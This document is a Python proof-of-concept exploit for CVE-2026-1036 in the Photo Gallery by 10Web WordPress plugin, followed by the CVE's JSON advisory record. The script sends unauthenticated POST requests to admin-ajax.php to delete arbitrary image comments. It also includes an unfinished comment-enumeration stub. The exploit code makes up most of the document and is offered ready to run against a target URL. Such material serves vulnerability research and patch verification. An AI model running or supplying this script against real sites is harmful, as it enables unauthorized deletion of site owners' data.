CVE-2026-1036

import requests import sys # CVE-2026-1036 PoC - Unauthorized Comment Deletion # Target: Photo Gallery by 10Web WordPress Plugin <= 1.8.36 # Note: Comment functionality only available in Pro version def delete_comment(target_url, comment_id): """ Delete arbitrary comments without authentication Args: target_url: Base URL of the WordPress site comment_id: ID of the comment to delete (integer) """ # Target the AJAX endpoint used by the plugin endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the request data # The delete_comment function expects 'action' and comment ID parameter data = { 'action': 'bwg_delete_comment', 'comment_id': comment_id, 'bwg_nonce': '' # Plugin may not properly validate nonce } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: print(f"[*] Sending deletion request for comment ID: {comment_id}") print(f"[*] Target: {endpoint}") response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() if response.headers.get('content-type', '').find('json') > -1 else response.text print(f"[+] Response: {result}") # Check if deletion was successful if 'deleted' in str(result).lower() or 'success' in str(result).lower(): print(f"[!] Comment {comment_id} may have been deleted successfully") return True print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def enumerate_comments(target_url): """ Enumerate available comment IDs by accessing gallery pages """ print("[*] Enumerating gallery pages to find comment IDs...") # This is a simplified enumeration approach # In practice, you may need to parse gallery HTML for comment links galleries_url = f"{target_url}/?bwg_search_gallery=true" try: response = requests.get(galleries_url, timeout=10) # Parse response to find comment IDs # Implementation depends on specific gallery structure print("[*] Gallery enumeration requires further implementation") except Exception as e: print(f"[-] Enumeration error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-1036-poc.py <target_url> <comment_id>") print("Example: python cve-2026-1036-poc.py http://example.com 1") sys.exit(1) target = sys.argv[1] comment_id = int(sys.argv[2]) print(f"[*] CVE-2026-1036 PoC - Photo Gallery Comment Deletion") print(f"[*] Target: {target}") delete_comment(target, comment_id)

{"cve": {"id": "CVE-2026-1036", "sourceIdentifier": "[email protected]", "published": "2026-01-22T00:15:51.490", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Photo Gallery by 10Web – Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the delete_comment() function in all versions up to, and including, 1.8.36. This makes it possible for unauthenticated attackers to delete arbitrary image comments. Note: comments functionality is only available in the Pro version of the plugin."}, {"lang": "es", "value": "El plugin Photo Gallery por 10Web – Mobile-Friendly Image Gallery para WordPress es vulnerable a la modificación no autorizada de datos debido a una falta de verificación de capacidad en la función delete_comment() en todas las versiones hasta la 1.8.36, inclusive. Esto hace posible que atacantes no autenticados eliminen comentarios de imágenes arbitrarios. Nota: la funcionalidad de comentarios solo está disponible en la versión Pro del plugin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/photo-gallery/tags/1.8.35/frontend/controllers/BWGControllerGalleryBox.php#L173", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4eb2ae42-584d-4da8-9184-461b5a37b7b6?source=cve", "source": "[email protected]"}]}}